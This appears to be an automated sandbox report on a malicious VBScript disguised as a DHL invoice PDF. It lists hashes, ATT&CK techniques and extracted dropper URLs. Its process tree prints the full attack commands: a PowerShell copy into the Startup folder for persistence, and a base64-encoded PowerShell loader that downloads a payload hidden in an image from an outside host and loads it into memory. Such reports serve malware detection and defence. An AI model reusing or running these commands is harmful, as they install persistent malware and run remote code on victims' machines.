de75cc32ecf78278545898dcaef4146a260025f731da74ca01496e449be7a971

General

Target

DHL__WB 1391078651 & Duty Invoice_pdf.vbs
Size

151KB
MD5

ff8212965e057afb4e0946517ec05f68
SHA1

3d1e2b49c8d6c57e08bfbd00a83ca1404af9dca4
SHA256

d17e5a5ff4aa847109dbd63cd69ffbb6d6dd85c6578c58da91b1656e6641b8c1
SHA512

1581ebef93d2fcf133f7367552b725e3d67340b26c163878ee744a1fe7b263b74c6ae4112e12d63e73557cab3d569986a5a3cd2eeb06f1a3b6a6c14557ef1229
SSDEEP

3072:qYf8nkleSrzLv/Iu6KjrCuvYf8nkleSrzLv/Iu6oYf8nkleSrzLv/Iu6c:qYf8nMZP/Iu6UYf8nMZP/Iu6oYf8nMZB

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2036	powershell.exe
7	2036	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2928	powershell.exe
2036	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3036	cmd.exe
2984	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2984	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2928	powershell.exe
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 3036	2300	WScript.exe	30
PID 2300 wrote to memory of 3036	2300	WScript.exe	30
PID 2300 wrote to memory of 3036	2300	WScript.exe	30
PID 3036 wrote to memory of 2984	3036	cmd.exe	32
PID 3036 wrote to memory of 2984	3036	cmd.exe	32
PID 3036 wrote to memory of 2984	3036	cmd.exe	32
PID 3036 wrote to memory of 2928	3036	cmd.exe	33
PID 3036 wrote to memory of 2928	3036	cmd.exe	33
PID 3036 wrote to memory of 2928	3036	cmd.exe	33
PID 2300 wrote to memory of 2036	2300	WScript.exe	34
PID 2300 wrote to memory of 2036	2300	WScript.exe	34
PID 2300 wrote to memory of 2036	2300	WScript.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651 & Duty Invoice_pdf.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651 & Duty Invoice_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $solitons = 'JG1pc3MgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskYmFwdGlzaWFzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbnVtYmxlcyA9ICRiYXB0aXNpYXMuRG93bmxvYWREYXRhKCRtaXNzKTskcmVwcm9jZXNzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJG51bWJsZXMpOyRkcm9uaXNoID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRzdWJtYW5kaWJ1bGFycyA9ICc8PEJBU0U2NF9FTkQ+Pic7JGdyYXZlc3RvbmUgPSAkcmVwcm9jZXNzLkluZGV4T2YoJGRyb25pc2gpOyRzdG9wcGxlID0gJHJlcHJvY2Vzcy5JbmRleE9mKCRzdWJtYW5kaWJ1bGFycyk7JGdyYXZlc3RvbmUgLWdlIDAgLWFuZCAkc3RvcHBsZSAtZ3QgJGdyYXZlc3RvbmU7JGdyYXZlc3RvbmUgKz0gJGRyb25pc2guTGVuZ3RoOyRsb2xsb3BzID0gJHN0b3BwbGUgLSAkZ3JhdmVzdG9uZTskcHJlY2FuY2VycyA9ICRyZXByb2Nlc3MuU3Vic3RyaW5nKCRncmF2ZXN0b25lLCAkbG9sbG9wcyk7JGNhdWRhbCA9IC1qb2luICgkcHJlY2FuY2Vycy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkcHJlY2FuY2Vycy5MZW5ndGgpXTskZ3JhemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY2F1ZGFsKTskcGFybGF5ZWQgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmF6ZWQpOyRiYWNrc2xpZGVzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGJhY2tzbGlkZXMuSW52b2tlKCRudWxsLCBAKCcwL3RFbkluL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckbGFzcycsICckbGFzcycsICckbGFzcycsICdBZGRJblByb2Nlc3MzMicsICckbGFzcycsICckbGFzcycsJyRsYXNzJywnJGxhc3MnLCckbGFzcycsJyRsYXNzJywnJGxhc3MnLCcxJywnJGxhc3MnKSk7';$endbrain = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($solitons));Invoke-Expression $endbrain
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabFF09.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarFF1C.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7214998edf268dd6c91cce155e5ce280

SHA1
bf2f1faf9996363a8ce1bd1bd6b7710831a1fc41

SHA256
a5f9499a79ad1cb0d42ed32f9bb1e2bff7620441e0ce094f95f39cca7cc30700

SHA512
12ec85071db8bf319ebdbfc6402bb344463f7cdc40a17394a9d652c50c55cf3037010a29d104d2cd1cdf24a28ea0648f55c94ebce66c3bdddec8651e412e1470

Download Submit
memory/2036-55-0x000000001AEF0000-0x000000001B048000-memory.dmp

Filesize
1.3MB

Download
memory/2036-19-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/2036-18-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2928-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-12-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-11-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-9-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-5-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

Filesize
4KB

Download
memory/2928-7-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2928-6-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download

Analysis

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